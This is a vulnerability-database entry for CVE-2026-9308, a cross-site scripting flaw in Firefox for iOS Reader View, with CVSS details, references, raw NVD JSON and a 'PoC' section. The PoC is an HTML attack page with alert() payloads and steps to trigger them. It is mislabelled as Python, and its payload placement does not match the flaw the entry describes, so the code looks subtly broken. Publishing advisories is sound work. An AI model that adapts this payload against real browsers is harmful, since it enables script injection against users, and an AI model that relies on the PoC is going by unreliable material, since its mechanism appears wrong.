CVE-2026-9308

Description

Firefox for iOS Reader View replaced page content in its HTML template before replacing other internal placeholders. A malicious page could include a placeholder string that was later substituted with JSON-LD data, potentially resulting in arbitrary JavaScript execution. This vulnerability was fixed in Firefox for iOS 151.2.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:*:iphone_os:*:* - VULNERABLE

Firefox for iOS < 151.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-9308: Firefox iOS Reader View XSS -->
<!-- This PoC demonstrates how an attacker can inject malicious code through Reader View -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9308 Test Page</title>
    <meta charset="UTF-8">
    <script type="application/ld+json">
    {
        "@context": "https://schema.org",
        "@type": "Article",
        "headline": "Test Article",
        "{{alert('XSS Triggered')}}": "malicious_content"
    }
    </script>
</head>
<body>
    <article>
        <h1>Normal Article Content</h1>
        <p>This is a test article to demonstrate the CVE-2026-9308 vulnerability.</p>
        <p>To trigger the vulnerability:
        <ol>
            <li>Open this page in Firefox for iOS</li>
            <li>Enable Reader View (tap the reader icon)</li>
            <li>Observe the alert dialog or injected script execution</li>
        </ol>
        </p>
    </article>
</body>
</html>

<!-- Alternative injection method using script tag in placeholder -->
<!--
<script type="application/ld+json">
{
    "@context": "https://schema.org",
    "@type": "Article",
    "{{<script>alert('CVE-2026-9308 Executed')</script>}}": "value"
}
</script>
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9308
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9308
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9308/
[4] VulDB https://vuldb.com/cve/CVE-2026-9308
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=2039422
[6] https://www.mozilla.org/security/advisories/mfsa2026-53/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9308", "sourceIdentifier": "[email protected]", "published": "2026-06-01T13:16:33.523", "lastModified": "2026-06-03T20:02:52.693", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Firefox for iOS Reader View replaced page content in its HTML template before replacing other internal placeholders. A malicious page could include a placeholder string that was later substituted with JSON-LD data, potentially resulting in arbitrary JavaScript execution. This vulnerability was fixed in Firefox for iOS 151.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:*:iphone_os:*:*", "versionEndExcluding": "151.2", "matchCriteriaId": "B45EA8E8-B058-45B8-B0AB-77F61594BC17"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2039422", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-53/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}